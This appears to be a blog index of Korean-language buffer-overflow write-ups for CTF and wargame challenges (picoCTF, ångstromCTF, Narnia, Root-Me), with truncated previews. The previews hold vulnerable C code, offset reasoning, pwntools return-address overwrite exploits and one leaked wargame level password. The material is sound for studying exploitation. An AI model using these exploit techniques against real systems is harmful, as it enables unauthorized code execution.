목록Buffer Overflow (52)
ii4gsp

64bit 바이너리이다. main()함수에서 vuln()함수를 호출한다. vuln()함수에서 gets()함수로 v1에 입력을받는다. v1은 rbp-40에 위치한다. v1 ~ sfp = 64 v1 ~ ret = 72 72byte dummy를 주고 ret를 flag()함수로 조작해주면 된다. from pwn import * s = ssh(host = '2019shell1.picoctf.com', user = '', password = '') s.set_working_directory('/problems/newoverflow-1_4_3fc8f7e1553d8d36ded1be37c306f3a4') p = s.process('./vuln') e = ELF('/home/ii4gsp/picoCTF/vuln') flag..

#include #include #include #include #include #include "asm.h" #define BUFFSIZE 64 #define FLAGSIZE 64 void flag() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFFSIZE]; gets(buf); printf("Woah, w..

#include #include #include #include #define FLAGSIZE_MAX 64 char flag[FLAGSIZE_MAX]; void sigsegv_handler(int sig) { fprintf(stderr, "%s\n", flag); fflush(stderr); exit(1); } void vuln(char *input){ char buf[128]; strcpy(buf, input); } int main(int argc, char **argv){ FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin..

main()함수에서 scanf()함수로 v4에 입력을받고 1을 입력하면 gets()함수를 실행한다. flag()함수에는 if문을 맞춰주면 flag를 출력해준다. 그냥 main()함수에서 gets()함수를 실행시켜 v5를 오버플로우 시키고 ret를 system()함수와 인자를 전달하면 flag가 출력될것 이다. system()함수의 plt는 0x401050이고, 인자는 0x401231이다. from pwn import * r = remote('shell.actf.co', 19400) r.sendline('1') payload = '' payload += '\x90' * 56 payload += p64(0x401050) payload += p64(0x401231) r.sendline(payload) r.in..

간단한다. gets()함수로 ret를 give_shell()함수로 덮어주면 된다. SFP 포함 32byte이다. from pwn import * p = process('/home/ii4gsp/get_it') e = ELF('/home/ii4gsp/get_it') give_shell = e.symbols['give_shell'] payload = '' payload += '\x90' * 32 payload += p64(give_shell) p.sendline(payload) p.interactive()

read()함수로 buf에 24byte만큼 입력을받는다. v6가 0xCAF3BAEE 이면, 쉘을 획득한다. from pwn import * p = process('/home/ii4gsp/boi') payload = '' payload += '\x90' * 20 payload += p64(0xCAF3BAEE) p.sendline(payload) p.interactive() 간단

#include #include #include int main(int argc, char * argv[]){ char buf[128]; if(argc == 1){ printf("Usage: %s argument\n", argv[0]); exit(1); } strcpy(buf,argv[1]); printf("%s", buf); return 0; } 변수 buf가 128byte 할당되었고, buf ~ sfp = 132 이다. 132byte dummy를 주고 ret를 조작해주면된다. strcpy()함수에서 취약점이 발생한다. ret까지 덮어주고 스택 확인 0xffffd848을 ret로 잡고 페이로드 작성 Narnia3 = vaequeezee

#include #include #include #include #include /* gcc -o ch35 ch35.c -fno-stack-protector -no-pie -Wl,-z,relro,-z,now,-z,noexecstack */ void callMeMaybe(){ char *argv[] = { "/bin/bash", "-p", NULL }; execve(argv[0], argv, NULL); } int main(int argc, char **argv){ char buffer[256]; int len, i; scanf("%s", buffer); len = strlen(buffer); printf("Hello %s\n", buffer); return 0; } scanf()함수에서 취약점이 발생한다..